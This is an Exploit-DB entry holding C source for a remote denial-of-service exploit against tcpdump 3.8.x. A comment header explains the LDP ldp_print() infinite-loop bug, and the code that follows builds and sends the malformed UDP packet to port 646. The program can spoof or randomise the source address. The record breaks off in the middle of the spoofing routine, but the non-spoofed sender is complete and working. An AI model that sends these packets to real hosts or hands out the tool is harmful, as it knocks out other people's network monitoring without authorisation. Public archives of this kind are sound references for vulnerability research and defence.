Exploit-DB #957
Description: Tcpdump 3.8.x - 'ldp_print' Infinite Loop Denial of Service
Type: dos
Platform: linux
Date: 2005-04-26
Author: vade79

Exploit:
/*[ tcpdump[3.8.x]: (LDP) ldp_print() infinite loop DOS. ]********* 
 *                                                                *
 * by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)               *
 *                                                                *
 * compile:                                                       *
 *  gcc xtcpdump-ldp-dos.c -o xtcpdump-ldp-dos                    *
 *                                                                *
 * tcpdump homepage/URL:                                          *
 *  http://www.tcpdump.org                                        *
 *                                                                *
 * fix:                                                           *
 *  this appears to have been fixed in the alpha 3.9.x / CVS      *
 *  versions.  although i found no direct mention of the issue    *
 *  itself being resolved, the code has been changed in a way to  *
 *  not allow this to happen.                                     *
 *                                                                *
 * Tcpdump is a program that allows you to dump the traffic on a  *
 * network. It can be used to print out the headers of packets on *
 * a network interface that matches a given expression. You can   *
 * use this tool to track down network problems, to detect "ping  *
 * attacks" or to monitor the network activities.                 *
 *                                                                *
 * tcpdump(v3.8.3 and earlier versions) contains a remote denial  *
 * of service vulnerability in the form of a single (LDP) packet  *
 * causing an infinite loop.                                      *
 *                                                                *
 * LDP is UDP(/TCP), so no LDP service has to actually be running *
 * to abuse this issue, spoofed or not spoofed.  depending on the *
 * path the packet takes spoofed packets may be dropped(dropped   *
 * at your router most likely), in such a case non-spoofed        *
 * packets have the same effect, they just show your ip.          *
 *                                                                *
 * some versions of tcpdump(depending on the platform/OS) need no *
 * special command-line arguments to allow this to happen,        *
 * however most need the "-v" argument.                           *
 ******************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#ifdef _USE_ARPA
#include <arpa/inet.h>
#endif

/* doesn't seem to be standardized, so... */
#if defined(__BYTE_ORDER) && !defined(BYTE_ORDER)
#define BYTE_ORDER __BYTE_ORDER
#endif
#if defined(__BIG_ENDIAN) && !defined(BIG_ENDIAN)
#define BIG_ENDIAN __BIG_ENDIAN
#endif
#if defined(BYTE_ORDER) && defined(BIG_ENDIAN)
#if BYTE_ORDER == BIG_ENDIAN
#define _USE_BIG_ENDIAN
#endif
#endif

/* will never need to be changed. */
#define LDP_PORT 646
#define DFL_AMOUNT 5
#define TIMEOUT 10

/* avoid platform-specific header madness. */
/* (just plucked out of header files) */
struct iph{
#ifdef _USE_BIG_ENDIAN
 unsigned char version:4,ihl:4;
#else
 unsigned char ihl:4,version:4;
#endif
 unsigned char tos;
 unsigned short tot_len;
 unsigned short id;
 unsigned short frag_off;
 unsigned char ttl;
 unsigned char protocol;
 unsigned short check;
 unsigned int saddr;
 unsigned int daddr;
};
struct udph{
  unsigned short source;
  unsigned short dest;
  unsigned short len;
  unsigned short check;
};
struct sumh{
  unsigned int saddr;
  unsigned int daddr;
  unsigned char fill;
  unsigned char protocol;
  unsigned short len;
};

/* malformed LDP data. (the bug) */
static char payload[]=
 "\x00\x01\xff\xff\xff\xff\xff\xff\xff"
 "\xff\xff\xff\x00\x00\xff\xff\xff\xff";

/* prototypes. (and sig_alarm) */
void ldp_nospoof(unsigned int);
void ldp_spoof(unsigned int,unsigned int);
unsigned short in_cksum(unsigned short *,signed int);
unsigned int getip(char *);
void printe(char *,signed char);
void sig_alarm(){printe("alarm/timeout hit.",1);}

/* begin. */
int main(int argc,char **argv) {
 unsigned char nospoof=0;
 unsigned int amt=DFL_AMOUNT;
 unsigned int daddr=0,saddr=0;
 printf("[*] tcpdump[3.8.x]: (LDP) ldp_print() infinite loop DOS."
 "\n[*] by: vade79/v9 v9@fakehalo.us (fakehalo/realhalo)\n\n");
 if(argc<2){
  printf("[*] syntax: %s <dst host> [src host(0=random)] [amount]\n",
  argv[0]);
  printf("[*] syntax: %s <dst host> nospoof\n",argv[0]);
  exit(1);
 }
 if(!(daddr=getip(argv[1])))
  printe("invalid destination host/ip.",1);
 if(argc>2){
  if(strstr(argv[2],"nospoof"))nospoof=1;
  else saddr=getip(argv[2]);
 }
 if(argc>3)amt=atoi(argv[3]);
 if(!amt)printe("no packets?",1);
 printf("[*] destination\t: %s\n",argv[1]);
 if(!nospoof)
  printf("[*] source\t: %s\n",(saddr?argv[2]:"<random>"));
 printf("[*] amount\t: %u\n\n",amt);
 printf("[+] sending(packet = .): ");
 fflush(stdout);
 while(amt--){
  /* spice things up. */
  srandom(time(0)+amt);
  if(nospoof)ldp_nospoof(daddr);
  else ldp_spoof(daddr,saddr);
  printf(".");
  fflush(stdout);
  usleep(50000);
 }
 printf("\n\n[*] done.\n");
 fflush(stdout);
 exit(0);
}
/* (non-spoofed) sends a (LDP) udp packet. */
void ldp_nospoof(unsigned int daddr){
 signed int sock;
 struct sockaddr_in sa;
 sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
 sa.sin_family=AF_INET;
 sa.sin_port=htons(LDP_PORT);
 sa.sin_addr.s_addr=daddr;
 if(sendto(sock,payload,sizeof(payload)-1,0,(struct sockaddr *)&sa,
 sizeof(struct sockaddr))<sizeof(payload)-1)
  printe("failed to send non-spoofed LDP packet.",1);
 close(sock);
 return;
}
/* (spoofed) generates and sends a (LDP) udp packet. */
void ldp_spoof(unsigned int